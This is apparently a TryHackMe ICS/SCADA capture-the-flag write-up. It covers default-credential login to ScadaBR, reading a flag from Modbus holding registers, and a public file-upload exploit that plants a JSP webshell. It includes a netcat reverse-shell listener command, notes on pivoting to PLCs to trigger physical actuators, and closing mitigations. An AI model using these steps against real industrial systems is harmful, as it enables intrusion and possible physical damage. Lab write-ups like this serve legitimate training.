Recon
Started with an nmap scan against the target machine and found the following open ports:
PORT STATE SERVICE22/tcp open ssh80/tcp open http5901/tcp open vnc-18080/tcp open http-proxyPort 8080 caught my attention. Navigating to http://10.48.153.2:8080/ revealed a ScadaBR login page — an open-source SCADA software used for OT/ICS monitoring.
Tried the default credential admin:admin — logged in immediately.
Analyzing the Data Source — Modbus
After logging in, I found a data point named “secret” with a disabled status. This hinted that the SCADA system was connected to a PLC on an internal network via Modbus TCP on port 5020.
Navigated to http://10.48.153.2:8080/ScadaBR/data_sources.shtm, enabled the data source, and clicked edit to inspect the configuration.
The data source “secret” was configured with host: plc, port: 5020 over TCP — confirming there's a PLC sitting on the internal network.
Reading Data from Modbus Holding Registers
In the Modbus read data panel, I changed the Register range from Coil status to Holding register, set offset to 0 and number of registers to 30, then hit “Read data”.
The response came back as hex values:
0 ==> 00541 ==> 00482 ==> 004d3 ==> 007b4 ==> 006d5 ==> 006f6 ==> 00647 ==> 00628 ==> 00759 ==> 007310 ==> 005f11 ==> 006812 ==> 006913 ==> 006414 ==> 007dDropped the hex values into CyberChef using “From Hex” and got the flag:
THM{modbus_hid} The PLC was storing data in its holding registers as plain ASCII hex — no encryption, no obfuscation, just raw readable data sitting on an industrial controller.
Real-World Red Team Perspective
In a real Red Team engagement, gaining a shell on the SCADA server opens the door to pivoting directly into the OT network and interacting with PLCs — sending Modbus write commands to flip coils or set register values that could trigger physical actuators in the real world.
This is exactly the class of attack seen in Stuxnet and the Ukrainian power grid incidents. The scary part isn’t just the code execution — it’s what sits on the other side of that Modbus connection.
I actually researched this attack path while working through the Alchemy Pro Lab on HackTheBox, so the concepts translated directly here.
Exploitation — ScadaBR Arbitrary File Upload (EDB-ID 49735)
ScadaBR 1.0 has a known Arbitrary File Upload (Authenticated) vulnerability listed on Exploit-DB. Since we already had valid credentials, exploitation was straightforward.
searchsploit scadabr# ScadaBR 1.0 - Arbitrary File Upload (Authenticated) (1)# ScadaBR 1.0 - Arbitrary File Upload (Authenticated) (2)
Terminal 1 — set up listener:
rlwrap nc -lvnp 4444Terminal 2 — run the exploit:
python 49735_clean.py 10.48.153.2 8080 admin admin 4444
The exploit:
- Authenticates with admin:admin
- Uploads a JSP webshell to /ScadaBR/uploads/1.jsp
- Triggers the webshell to spawn a reverse shell
Result: shell obtained as tomcat7 on the SCADA server.
Mitigation
Three root causes made this attack possible:
Default Credentials — admin:admin should be forced to change on first login. Enforce strong password policies and MFA where possible. Default credentials on internet-exposed SCADA systems are unfortunately still extremely common.
Monitoring — No alerting on logins from unknown IPs or unusual data access patterns. A SIEM or even basic log review would catch this. Anomaly detection on Modbus traffic is also worth considering for OT environments.
Segmentation — The SCADA server was reachable from outside the OT network with no segmentation in place. OT/IT network separation is the most fundamental ICS security control. SCADA systems should never be directly internet-facing, and access should be strictly controlled through jump hosts or industrial DMZs.
TryHackMe | ICS/SCADA Challenge | munpao59